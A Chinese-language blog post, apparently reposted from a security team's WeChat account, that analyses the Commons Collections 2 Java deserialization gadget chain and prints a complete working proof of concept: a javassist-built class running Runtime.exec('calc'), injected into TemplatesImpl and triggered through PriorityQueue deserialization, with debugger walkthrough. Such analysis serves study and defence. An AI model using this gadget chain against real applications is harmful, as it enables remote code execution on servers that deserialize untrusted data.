CommonCollections2利用链分析

  • A+
所属分类:代码审计
CommonCollections2利用链分析

前言

最近日tp去了,但是Java也不能落下,之前分析了cc1的利用链差不多搞懂了造成Java反序列化的基本原理,这里把cc2看下加深下印象,话不多说,直接开始

基础知识

PriorityQueue

PriorityQueue()               使用默认的初始容量(11)创建一个 PriorityQueue,并根据其自然顺序对元素进行排序PriorityQueue(int initialCapacity)    使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序

实例

import java.util.PriorityQueue;import java.util.Queue;
public class Person{ public static void main(String[] args) { PriorityQueue priorityQueue = new PriorityQueue(2); priorityQueue.add(2); priorityQueue.add(1); System.out.println(priorityQueue.poll()); System.out.println(priorityQueue.poll()); }}

简单来说就是对插入的元素进行一波排序

getDeclaredField

参考:https://www.nhooo.com/note/qa0zm7.html

获取类或接口中的成员属性(不管可访问性,仅用于当前类,而非当前类可能继承的基类),返回值为Filed对象

Field

get 返回该所表示的字段的值 Field ,指定的对象上set 将指定对象参数上的此 Field对象表示的字段设置为指定的新值

表示字段,属性,变量

Field[] getDeclaredFields=  clazz.getDeclaredFields();//获取所有属性(包括私有属性)

TransformingComparator

CommonCollections2利用链分析

作用跟ChainedTransformer差不多,主要是为了排序

Poc分析

参考:https://www.cnblogs.com/nice0e3/p/13860621.html

import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.PriorityQueue;

public class cc2 { public static void main(String[] args) throws Exception { String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();//返回默认的类池 classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径 CtClass payload=classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类 payload.setSuperclass(classPool.get(AbstractTranslet)); //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec("calc");"); //创建一个空的类初始化,设置构造函数主体为runtime
byte[] bytes=payload.toBytecode();//转换为byte数组
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段 field.setAccessible(true);//暴力反射 field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段 field1.setAccessible(true);//暴力反射 field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{}); TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象 PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。 queue.add(1);//添加数字1插入此优先级队列 queue.add(1);//添加数字1插入此优先级队列
Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段 field2.setAccessible(true);//暴力反射 field2.set(queue,comparator);//设置queue的comparator字段值为comparator
Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段 field3.setAccessible(true);//暴力反射 field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out")); outputStream.writeObject(queue); outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out")); inputStream.readObject();
}}

第一段poc

我们把poc分成几段来看

        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
//默认的类搜索路径 ClassPool classPool=ClassPool.getDefault(); //将一个类的路径加到搜索路径 classPool.appendClassPath(AbstractTranslet); //获取一个ctClass对象 CtClass payload=classPool.makeClass("CommonsCollections22222222222"); //classPool.get根据类路径获取CtClass对象 payload.setSuperclass(classPool.get(AbstractTranslet)); //setBody:将方法的内容设置为要写入的代码 payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec("calc");");

这里动态的创建了一个类,并且把RCE用的代码加入到了其中

这部分使用的是javassist相关的知识

参考:

https://www.cnblogs.com/jpfss/p/11060296.htmlhttps://www.cnblogs.com/rickiyang/p/11336268.html

第二段poc

        byte[] bytes=payload.toBytecode();//转换为byte数组
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl对象 Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl对象的_bytecodes字段 field.setAccessible(true);//暴力反射 field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段 field1.setAccessible(true);//暴力反射 field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test

这里获取的字段我们看一下

CommonCollections2利用链分析

这里是一个私有属性这样使用getDeclaredField而非使用getField的原因就搞明白了,后面会用同样的方法设置_name字段,既然设置的是这两个字段,我们找一下这两个字段有什么作用

CommonCollections2利用链分析

在Templateslmpl类中的方法有一步调用,这里给__class[i]进行了赋值,我们看一下__class[i]在当前类中有什么调用

CommonCollections2利用链分析

我们debug一下

CommonCollections2利用链分析

可以看到,这里对我们定义的payload属性进行了一波实例化

CommonCollections2利用链分析

这段进行实例化的话就会直接触发RCE

第三段poc

        InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});        TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象        PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。        queue.add(1);//添加数字1插入此优先级队列        queue.add(1);//添加数字1插入此优先级队列
Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段 field2.setAccessible(true);//暴力反射 field2.set(queue,comparator);//设置queue的comparator字段值为comparator

因为这个是一个私有方法,现在需要考虑的是如何调用到这里

CommonCollections2利用链分析

在newTransformer中对getTransletInstance方法进行了调用

CommonCollections2利用链分析

我们使用InvokerTransformer反射调用newTransformer即可,但是后面用到了 TransformingComparator有点懵

CommonCollections2利用链分析

我们跟进进来,在compare中有一步是调用transform方法,而这个compare方法就需要用到PriorityQueue中的siftUpUsingComparator方法

CommonCollections2利用链分析

这个方法会在同类下的siftDown调用

CommonCollections2利用链分析

然而这里会在heapify中调用

CommonCollections2利用链分析

这里又会被readObject调用

CommonCollections2利用链分析

第四段poc

CommonCollections2利用链分析

这里直接把queue设置为内置恶意代码的实例对象

CommonCollections2利用链分析

这样调用的时候就会调用到恶意代码,基本流程清楚了,debug一下

debug调试

我们在795行打一个断点

CommonCollections2利用链分析

调用到heapify方法

CommonCollections2利用链分析

这里已经成功设置了queue变量的值,并且在调用siftDown的时候进行传参

CommonCollections2利用链分析

当comparator不为空的时候调用siftDownUsingComparator方法

CommonCollections2利用链分析

因为这里传入的是TransformingComparator修饰后的是InvokerTransformer对象,所以这里会调用到compare方法

CommonCollections2利用链分析

可以看到,这里调用到了transform方法

CommonCollections2利用链分析

这里就会利用反射对TransformerImpl对象的newTransformer进行调用

CommonCollections2利用链分析

这里就会调用getTransletInstance()方法

CommonCollections2利用链分析

这里_name不能为空就可以调用到defineTransletClasses方法

CommonCollections2利用链分析

这个方法的主要作用是设置_class的值,设置后跳回到getTransletInstance

CommonCollections2利用链分析

这里就会对我们传入的恶意代码进行实例化导致RCE

总结

导致命令执行的核心部分只有用到javassist的那段代码从javassist结束后到读写文件前的部分都是设置值,目的是为了让poc可以按预期运行_bytecodes字段被设置为恶意类,最终会赋值到_class,name和comparator字段仅仅是为了过掉if条件语句恶意类用AbstractTranslet仅仅是因为了类型转换,这里涉及一个多态的问题对比cc1的链子,这个链子用到了javassist


CommonCollections2利用链分析




本文始发于微信公众号(稻草人安全团队):CommonCollections2利用链分析

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: